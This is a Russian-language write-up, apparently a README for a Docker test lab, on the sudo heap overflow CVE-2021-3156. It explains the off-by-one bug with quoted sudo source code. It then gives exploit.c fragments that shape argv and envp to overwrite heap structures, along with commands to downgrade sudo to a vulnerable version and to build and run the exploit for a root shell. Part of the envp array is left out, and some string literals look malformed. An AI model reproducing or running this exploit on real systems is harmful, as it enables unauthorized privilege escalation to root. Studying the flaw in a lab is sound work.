
fixed version
Создание образа с помощью Dockerfille
docker build -t cve-2021-3156:ubuntu2004 .
Создание контейнера с помощью образа
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
В версиях Sudo до 1.9.5p2 существует ошибка off-by-one, которая может привести к переполнению кучи (heap-based buffer overflow).
Злоумышленник может выполнить:
sudoedit -s <аргумент, оканчивающийся на один обратный слэш `\`>
и повысить привилегии до root без пароля.
На примере исходного кода sudo версии 1.8.31p1, при выполнении sudoedit -s с вводом escape-символа \ сначала вызывается функция parse_args из parse_args.c, которая выполняет экранирование. Следующий фрагмент кода обрабатывает экранирование специальных символов.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
Затем, перед сохранением переданных аргументов в кучу или стек, программа вызывает функцию set_cmnd из sudoers.c, чтобы скопировать аргументы командной строки в память кучи, где удаляются все escape-символы \ с помощью следующего кода:
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
Проблема в том, что: когда parse_args не выполняет экранирование (т.е. не вставляет дополнительный \), программа всё равно заходит в функцию set_cmnd для удаления экранирования, но из-за отсутствия экранирования входного \ срабатывает условие if, символ \ пропускается, и последующие аргументы копируются в user_args. Если скопированные данные слишком длинные, происходит переполнение кучи.
Эксплойт состоит из двух частей: exploit.c и shellcode.c. exploit.c отвечает за формирование argv и envp, вызов sudoedit через execve и эксплуатацию через переполнение кучи.
exploit.c программа создаёт буфер размером 0xf0 (buf) для точного управления раскладкой кучи, используя переполнение буфера для перезаписи критических структур. Размер переполнения контролируется заполнением buf ('Y' и \), после чего вызывается sudoedit через execve. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_*. Благодаря их раскладке целевая структура service_user размещается на пути переполнения. Данные переполнения передаются через переменную окружения overflow и перезаписывают поля структуры service_user. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp данные переполнения передаются в sudoedit, перезаписывая целевую структуру и обеспечивая эксплуатацию. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// часть содержимого опущена
NULL};
sudoedit запускается через execve. execve("/usr/bin/sudoedit", argv, envp);
Тестировалось на Ubuntu 20.04 с sudo 1.8.31.
Проверить, уязвима ли ваша версия sudo, можно командой:
$ sudoedit -s Y
Если запрашивается пароль — скорее всего, уязвимость присутствует; если выводится подсказка по использованию — уязвимости нет.
Для тестирования можно понизить версию sudo на Ubuntu 20.04 до уязвимой:
$ sudo apt install sudo=1.8.31-1ubuntu1
Использование:
Выполните make для компиляции и запуска эксплойта:
$ make
$ ./exploit
После успешной эксплуатации получена интерактивная root-оболочка, позволяющая выполнять привилегированные операции.
